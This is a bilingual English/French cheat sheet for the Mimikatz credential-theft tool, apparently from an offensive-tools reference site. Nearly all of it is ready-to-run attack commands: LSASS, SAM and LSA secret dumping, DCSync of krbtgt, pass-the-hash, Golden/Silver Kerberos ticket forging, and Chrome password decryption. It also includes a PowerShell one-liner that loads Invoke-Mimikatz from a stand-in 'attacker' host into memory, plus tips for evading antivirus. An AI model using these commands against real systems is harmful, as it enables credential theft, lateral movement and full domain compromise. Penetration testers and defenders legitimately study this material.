Mimikatz

Outil d'extraction d'identifiants Windows. Dump la mémoire LSASS pour les mots de passe en clair, les hachages NTLM, les tickets Kerberos et les secrets SAM/DPAPI/LSA. Windows credential extraction tool. Dumps LSASS memory for plaintext passwords, NTLM hashes, Kerberos tickets, and secrets from SAM/DPAPI/LSA.

↗ https://github.com/gentilkiwi/mimikatz

Overview

Mimikatz is the primary tool for Windows credential extraction. It extracts credentials from LSASS memory, SAM, DPAPI, and Kerberos, enabling pass-the-hash, pass-the-ticket, and Golden/Silver Ticket attacks. Requires elevated privileges (SeDebugPrivilege or SYSTEM).

Basic Setup

# Run as Administrator in a mimikatz prompt
mimikatz.exe

# Enable required privileges
mimikatz # privilege::debug

# Check privilege
mimikatz # !+

Credential Dumping

# Dump logon passwords (plaintext on older Windows / WDigest enabled)
sekurlsa::logonpasswords

# Dump NTLM hashes only
sekurlsa::msv

# Dump Kerberos tickets
sekurlsa::tickets

# Dump from LSASS minidump (run remotely)
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

# SAM database dump
lsadump::sam
lsadump::sam /system:SYSTEM /sam:SAM    # Offline from registry hives

# LSA secrets
lsadump::secrets

# Domain cached credentials (DCC2)
lsadump::cache

# DCSync — replicate credentials from DC without code on DC
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

Pass-the-Hash

# Open a new process with stolen hash
sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd.exe

# Domain user
sekurlsa::pth /user:jdoe /domain:domain.local /ntlm:HASH /run:powershell.exe

Kerberos Ticket Attacks

# Export all Kerberos tickets to disk
kerberos::list /export

# Import a ticket (.kirbi)
kerberos::ptt ticket.kirbi

# Golden Ticket (requires krbtgt hash)
kerberos::golden /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /user:Administrator

# Silver Ticket (service ticket, requires service account hash)
kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local \
  /service:cifs /rc4:HASH /user:Administrator

# Purge tickets
kerberos::purge

DPAPI (Data Protection API)

# Dump browser passwords / secrets
dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect

# Dump DPAPI masterkeys
dpapi::masterkey /in:masterkey /rpc

# Decrypt a DPAPI blob
dpapi::blob /in:blob.bin /masterkey:MASTERKEY_HEX

Running Without Dropping to Disk

# PowerShell one-liner (load from memory)
IEX (New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"

# From Cobalt Strike / C2: `mimikatz` or `hashdump`

Tips

  • Windows 8.1+ with KB2871997 disables WDigest by default — no plaintext creds in LSASS
  • LSASS minidump (via Task Manager > Create Dump / ProcDump) can be analyzed offline to avoid AV
  • sekurlsa::logonpasswords requires SeDebugPrivilege (privilege::debug must succeed)
  • DCSync requires Replicating Directory Changes / Replicating Directory Changes All rights
Key modules reference
privilege::debug          Enable SeDebugPrivilege
privilege::nt             Enable SeCreateTokenPrivilege

sekurlsa::logonpasswords  All logon sessions credentials
sekurlsa::msv             NTLM hashes
sekurlsa::kerberos        Kerberos credentials
sekurlsa::tickets         Kerberos tickets
sekurlsa::wdigest         WDigest (plaintext)
sekurlsa::pth             Pass-the-hash
sekurlsa::minidump        Load LSASS dump file

lsadump::sam              SAM database
lsadump::secrets          LSA secrets
lsadump::cache            Cached domain credentials
lsadump::dcsync           DCSync attack
lsadump::lsa              LSA process dump

kerberos::list            List tickets
kerberos::ptt             Pass-the-ticket (import)
kerberos::golden          Golden/Silver ticket creation
kerberos::purge           Remove tickets

dpapi::chrome             Browser credentials
dpapi::blob               Decrypt DPAPI blob

Vue d’ensemble

Mimikatz est l’outil principal pour l’extraction d’identifiants Windows. Il extrait les identifiants depuis la mémoire LSASS, la SAM, DPAPI et Kerberos, permettant les attaques pass-the-hash, pass-the-ticket et Golden/Silver Ticket. Nécessite des privilèges élevés (SeDebugPrivilege ou SYSTEM).

Configuration de base

# Exécuter en tant qu'administrateur dans une invite mimikatz
mimikatz.exe

# Activer les privilèges requis
mimikatz # privilege::debug

# Vérifier le privilège
mimikatz # !+

Extraction d’identifiants

# Dump des mots de passe de connexion (en clair sur les anciens Windows / si WDigest activé)
sekurlsa::logonpasswords

# Dump des hachages NTLM uniquement
sekurlsa::msv

# Dump des tickets Kerberos
sekurlsa::tickets

# Dump depuis un minidump LSASS (exécuté à distance)
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

# Dump de la base SAM
lsadump::sam
lsadump::sam /system:SYSTEM /sam:SAM    # Hors ligne depuis les ruches du registre

# Secrets LSA
lsadump::secrets

# Identifiants de cache de domaine (DCC2)
lsadump::cache

# DCSync : réplique les identifiants depuis le DC sans exécuter de code sur le DC
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

Pass-the-Hash

# Ouvrir un nouveau processus avec le hachage volé
sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd.exe

# Utilisateur de domaine
sekurlsa::pth /user:jdoe /domain:domain.local /ntlm:HASH /run:powershell.exe

Attaques par ticket Kerberos

# Exporter tous les tickets Kerberos sur le disque
kerberos::list /export

# Importer un ticket (.kirbi)
kerberos::ptt ticket.kirbi

# Golden Ticket (nécessite le hachage krbtgt)
kerberos::golden /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /user:Administrator

# Silver Ticket (ticket de service, nécessite le hachage du compte de service)
kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local \
  /service:cifs /rc4:HASH /user:Administrator

# Purger les tickets
kerberos::purge

DPAPI (Data Protection API)

# Dump des mots de passe / secrets de navigateur
dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect

# Dump des masterkeys DPAPI
dpapi::masterkey /in:masterkey /rpc

# Déchiffrer un blob DPAPI
dpapi::blob /in:blob.bin /masterkey:MASTERKEY_HEX

Exécution sans écriture sur disque

# One-liner PowerShell (chargement depuis la mémoire)
IEX (New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"

# Depuis Cobalt Strike / C2 : `mimikatz` ou `hashdump`

Conseils

  • Windows 8.1+ avec KB2871997 désactive WDigest par défaut : pas d’identifiants en clair dans LSASS
  • Un minidump LSASS (via Gestionnaire des tâches > Créer un fichier de vidage / ProcDump) peut être analysé hors ligne pour éviter l’AV
  • sekurlsa::logonpasswords nécessite SeDebugPrivilege (privilege::debug doit réussir)
  • DCSync nécessite les droits Replicating Directory Changes / Replicating Directory Changes All
Référence des modules clés
privilege::debug          Enable SeDebugPrivilege
privilege::nt             Enable SeCreateTokenPrivilege

sekurlsa::logonpasswords  All logon sessions credentials
sekurlsa::msv             NTLM hashes
sekurlsa::kerberos        Kerberos credentials
sekurlsa::tickets         Kerberos tickets
sekurlsa::wdigest         WDigest (plaintext)
sekurlsa::pth             Pass-the-hash
sekurlsa::minidump        Load LSASS dump file

lsadump::sam              SAM database
lsadump::secrets          LSA secrets
lsadump::cache            Cached domain credentials
lsadump::dcsync           DCSync attack
lsadump::lsa              LSA process dump

kerberos::list            List tickets
kerberos::ptt             Pass-the-ticket (import)
kerberos::golden          Golden/Silver ticket creation
kerberos::purge           Remove tickets

dpapi::chrome             Browser credentials
dpapi::blob               Decrypt DPAPI blob